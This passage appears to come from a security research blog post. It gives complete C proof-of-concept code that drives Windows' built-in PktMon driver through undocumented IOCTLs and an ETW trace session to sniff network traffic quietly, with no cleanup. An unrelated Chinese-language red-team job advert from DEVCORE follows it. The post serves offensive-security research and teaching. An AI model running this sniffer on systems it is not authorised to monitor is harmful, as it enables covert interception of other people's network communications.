		0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x37, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
					};


	IOCTL_filter_InBuffer = (LPVOID)malloc(0xD8);
	memcpy(IOCTL_filter_InBuffer, IOCTL_filter_message, 0xD8);
	status = DeviceIoControl(hDriver, IOCTL_filter, IOCTL_filter_InBuffer, 0xD8, NULL, 0, &IOCTL_filter_bytesReturned, NULL);
	if (!status) {
		printf("[!] Error! Filter creation failed!\n");
		return -1;
	}


	IOCTL_start_InBuffer = (LPVOID)malloc(0x14);
	memcpy(IOCTL_start_InBuffer, IOCTL_start_message, 0x14);
	status = DeviceIoControl(hDriver, IOCTL_start, IOCTL_start_InBuffer, 0x14, NULL, 0, &IOCTL_start_bytesReturned, NULL);
	if (status) {
		return 0;
	}
	return -1;
}
//...

PoC || GTFO

All the parts are created, we only need to glue them together :).

Working PoC
Working PoC. Communication sniffed succesfully!

Keep in mind that in this PoC we did not clean up anything!!. For that you need to add code that:

  • Kindly ask the driver to stop capturing and stop the service (check PktMonAPI.dll ;))
  • Disable the trace session (check EVENT_CONTROL_CODE_DISABLE_PROVIDER and EVENT_TRACE_CONTROL_STOP)

After this warning, here is the shitty PoC:

/* Shabby PktMon (PoC) by Juan Manuel Fernandez (@TheXC3LL) */

#include <windows.h>
#include <stdio.h>
#include <evntrace.h>
#include <strsafe.h>

#define LOGFILE_PATH "C:\\Windows\\System32\\ShabbySniffer.etl"
#define LOGSESSION_NAME "My Shabby Sniffer doing things"

HANDLE PktMonServiceStart(void) {
	SC_HANDLE hManager;
	SC_HANDLE hService;
	HANDLE hDriver;
	BOOL status;

	hManager = OpenSCManagerA(NULL, "ServicesActive", SC_MANAGER_CONNECT); // SC_MANAGER_CONNECT == 0x01
	if (!hManager) {
		return NULL;
	}
	hService = OpenServiceA(hManager, "PktMon", SERVICE_START | SERVICE_STOP); // 0x10 | 0x20 == 0x30
	CloseServiceHandle(hManager);

	status = StartServiceA(hService, 0, NULL);
	CloseServiceHandle(hService);

	hDriver = CreateFileA("\\\\.\\PktMonDev", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // 0x80000000 | 0x40000000 == 0xC0000000; OPEN_EXISTING == 0x03; FILE_ATTRIBUTE_NORMAL == 0x80
	if (hDriver == INVALID_HANDLE_VALUE) {
		return NULL;
	}
	return hDriver;
}

DWORD initiateCapture(HANDLE hDriver) {
	BOOL status;
	DWORD IOCTL_start = 0x220404;
	DWORD IOCTL_filter = 0x220410;

	LPVOID IOCTL_start_InBuffer = NULL;
	DWORD IOCTL_start_bytesReturned = 0;
	char IOCTL_start_message[0x14] = { 0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x01, 0x0, 0x0, 0x0, 0x01, 0x0, 0x00, 0x00 };

	LPVOID IOCTL_filter_InBuffer = NULL;
	DWORD IOCTL_filter_bytesReturned = 0;
	char IOCTL_filter_message[0xD8] = {
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x37, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
					};


	IOCTL_filter_InBuffer = (LPVOID)malloc(0xD8);
	memcpy(IOCTL_filter_InBuffer, IOCTL_filter_message, 0xD8);
	status = DeviceIoControl(hDriver, IOCTL_filter, IOCTL_filter_InBuffer, 0xD8, NULL, 0, &IOCTL_filter_bytesReturned, NULL);
	if (!status) {
		printf("[!] Error! Filter creation failed!\n");
		return -1;
	}


	IOCTL_start_InBuffer = (LPVOID)malloc(0x14);
	memcpy(IOCTL_start_InBuffer, IOCTL_start_message, 0x14);
	status = DeviceIoControl(hDriver, IOCTL_start, IOCTL_start_InBuffer, 0x14, NULL, 0, &IOCTL_start_bytesReturned, NULL);
	if (status) {
		return 0;
	}
	return -1;
}


DWORD initiateTrace(void) {
	static const GUID sessionGuid = { 0x6f0aaf43, 0xec9e, 0xa946, {0x9e, 0x7f, 0xf9, 0xf4, 0x13, 0x37, 0x13, 0x37 } };  
	static const GUID providerGuid = { 0x4d4f80d9, 0xc8bd, 0x4d73, {0xbb, 0x5b, 0x19, 0xc9, 0x04, 0x02, 0xc5, 0xac } }; // {4D4F80D9-C8BD-4D73-BB5B-19C90402C5AC}

	// Taken from https://docs.microsoft.com/en-us/windows/win32/etw/example-that-creates-a-session-and-enables-a-manifest-based-provider
	ULONG status = ERROR_SUCCESS;
	TRACEHANDLE sessionHandle = 0;
	PEVENT_TRACE_PROPERTIES pSessionProperties = NULL;
	ULONG bufferSize = 0;
	BOOL TraceOn = TRUE;

	bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME);
	pSessionProperties = (PEVENT_TRACE_PROPERTIES)malloc(bufferSize);

	ZeroMemory(pSessionProperties, bufferSize);
	pSessionProperties->Wnode.BufferSize = bufferSize;
	pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
	pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
	pSessionProperties->Wnode.Guid = sessionGuid;
	pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR;
	pSessionProperties->MaximumFileSize = 50;  // 50 MB
	pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
	pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
	StringCbCopyA(((LPSTR)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);

	status = StartTraceA(&sessionHandle, LOGSESSION_NAME, pSessionProperties);
	if (status != ERROR_SUCCESS) {
		printf("[!] StartTraceA failed!\n");
		return -1;
	}
	status = EnableTraceEx2(sessionHandle, &providerGuid, EVENT_CONTROL_CODE_ENABLE_PROVIDER, TRACE_LEVEL_INFORMATION, 0, 0, 0, NULL);
	if (status != ERROR_SUCCESS) {
		printf("[!] EnableTraceEx2 failed!\n");
		return -1;
	}
	return 0;
}


int main(int argc, char** argv) {
	HANDLE hDriver;

	printf("\t\t-=[ Shabby PktMon by @TheXC3LL ]=-\n\n");

	printf("[*] Starting PktMon service...\n");
	hDriver = PktMonServiceStart();
	if (hDriver == NULL) {
		printf("\t[!] Error! Service PktMon could not be started!\n\n");
		return -1;
	}
	printf("\t[+] SERVICE STARTED SUCCESSFULLY! (Handle: %d)\n", hDriver);

	printf("[*] Initating Event Tracer...\n");
	if (initiateTrace() == -1) {
		printf("\t[!] Error! Could not start the event tracer!\n");
		return -1;
	}
	printf("\t[+] EVENT TRACER STARTED SUCCESSFULLY!\n");

	printf("[*] Adding a filter and initializing capture...\n");
	if (initiateCapture(hDriver) == -1) {
		printf("\t[!] Error! Could not start capturing!\n");
		return -1;
	}
	printf("\n[+] CAPTURE INITIATED SUCCESSFULLY!\n");
	return 0;
}

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

[已結束] DEVCORE 徵求紅隊演練工程師

戴夫寇爾已成立近九年,過去我們不斷地鑽研進階攻擊技巧,為許多客戶提供高品質的滲透測試服務,也成為客戶最信賴的資安伙伴之一。在 2017 年我們更成為第一個在台灣推出紅隊演練服務的本土廠商,透過無所不用其極的駭客思維,陸續為電子商務、政府部門、金融業者執行最真實且全面的攻擊演練,同時也累積了豐富的經驗與案例,成為台灣紅隊演練實力最深厚的服務供應商。

隨著公司規模擴大,我們首度公開招募紅隊演練人才,希望能夠找到一至兩位 Support 紅隊演練工程師,擴大我們的後勤能量,鞏固戴夫寇爾的團隊作戰能力,讓我們持續為企業提供最優異的資安服務。

我們非常渴望您的加入,若您有意成為戴夫寇爾的一員,可參考下列職缺細節:

工作內容

在滲透測試、紅隊演練專案中擔任重要的後勤工作。這會是最清楚全局戰況的角色,需要觀察、記錄整體戰況,細心且耐心地整理繁雜的戰局資訊,並且樂於與作戰夥伴溝通現有戰況。檢測結束後需要將完整的戰況資訊和檢測過程中發現的弱點彙整成報告和簡報,讓客戶清楚理解弱點技術細節與成因,且可依據技術細節重現已發現的弱點,最後協助檢測客戶的修補狀況。

  • 協助作戰 40%
    • 整合作戰資料,關聯戰場資訊協助隊友找到突破點
    • 追蹤掌握戰況進度
    • 專案中與客戶協調雙方需求
  • 會議 10%
    • 參與專案相關啟動、結案會議
    • 成果簡報
  • 撰寫與製作報告文件 40%
    • 製作報告書、簡報、日誌
  • 檢測 (初測、複測) 10%
    • 檢測弱點修補
    • 複測時程安排與協調

工作時間

10:00 - 18:00 (中間休息 1 小時 13:00 - 14:00)

工作地點

台北市中山區復興北路 168 號 10 樓 近期會搬遷至台北田徑場附近(捷運台北小巨蛋站)

工作條件要求

  • 熟悉 OWASP Web Top 10。
  • 熟悉 Microsoft Word 或 Mac Pages。
  • 熟悉 Microsoft PowerPoint 或 Mac Keynote。
  • 熟悉 BurpSuite 或其他 HTTP 封包修改攔截工具。
  • 具有程式 Debug 能力,能重現並收斂問題。
  • 熟悉網頁程式語言(如 PHP、ASPX、JSP),曾建立自己或別人常用的網頁服務。
  • 熟悉 Scripting 語言(如 ShellScript、Python、Ruby),使用腳本輔以工作,亦能理解專案所用的相關腳本。
  • 熟悉 Command Line 操作輔以工作,包含執行 Unix-like 和 Windows 的系統指令、工具等,亦能理解專案所用的相關指令。
  • 熟悉 curl、netcat、nmap、Dirb 等安全測試相關工具。
  • 有信心到職一年內拿到 Offensive Security Certified Professional (OSCP) 證照或擁有等值能力。

人格特質偏好

  • 優秀的文字組織能力與邏輯思考,懂得透過淺顯易懂且條理清晰的方式傳達內容給客戶或內部團隊。
  • 擁有強大的學習能力,對於任何不懂的技術細節都能主動詢問同事,想辦法理解並內化成自己的知識。
  • 懂得溝通傾聽,能同理他人,找出彼此共識。
  • 細心嚴謹,能耐心的處理繁瑣的庶務工作。
  • 主動積極,看到我們沒發現的細節,超越我們所期望的基準。
  • 良好的時間管理能力,依據任務的優先順序,有效率的完成每項交辦。
  • 在各種工作細節中,找到最佳化流程的方式,幫助團隊更有效率的運作。
  • 勇於接受挑戰且具備解決問題的能力,努力克服未知的難題。

加分條件

  • 曾經有撰寫過相關紅隊演練、滲透測試中、英文報告等經驗。
  • 已考過 Offensive Security Certified Professional (OSCP) 證照。
  • 曾經挖掘常見漏洞(如 XSS、SQL Injection、Broken Access Control)。
  • 曾經寫過相關 CTF、Wargame 或弱點回報等類型的 Writeup。
  • 有撰寫技術類型等文章部落格經驗。
  • 具有專案管理規劃的能力。
  • 中文盲打具備 TQC 專業級水準。

工作環境

新辦公室裝潢中,可參考之前的徵才文,未來辦公室會優於過去。

公司福利

我們注重公司每位同仁的身心健康,請參考以下福利制度:

  • 休假福利
    • 到職即可預支當年度特休
    • 每年五天全薪病假
  • 獎金福利
    • 三節禮金(春節、端午節、中秋節)
    • 生日禮金
    • 婚喪補助
  • 休閒福利
    • 員工旅遊
    • 舒壓按摩
    • Team Building
  • 美食福利
    • 零食飲料
    • 員工聚餐
  • 健康福利
    • 員工健康檢查
    • 運動中心健身券
  • 進修福利
    • 內部教育訓練
    • 外部進修課程
  • 其他
    • 專業的公司團隊
    • 扁平的內部組織
    • 順暢的溝通氛圍

起薪範圍

新台幣 60,000 - 80,000 (保證年薪 14 個月)

應徵方式

  • 請將您的履歷以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
  • 標題格式:[應徵] 紅隊演練工程師 您的姓名(範例:[應徵] 紅隊演練工程師 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 工作經歷
    • 社群活動經歷
    • 特殊事蹟
    • MBTI 職業性格測試結果(測試網頁

附註

我們會在兩週內主動與您聯繫,招募過程依序為書面審核、線上測驗以及面試三個階段。第二階段的線上測驗最快將於七月底進行,煩請耐心等候;第三階段面試視疫情狀況可能會採線上面試。 若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。我們感謝您的來信,期待您的加入!

❌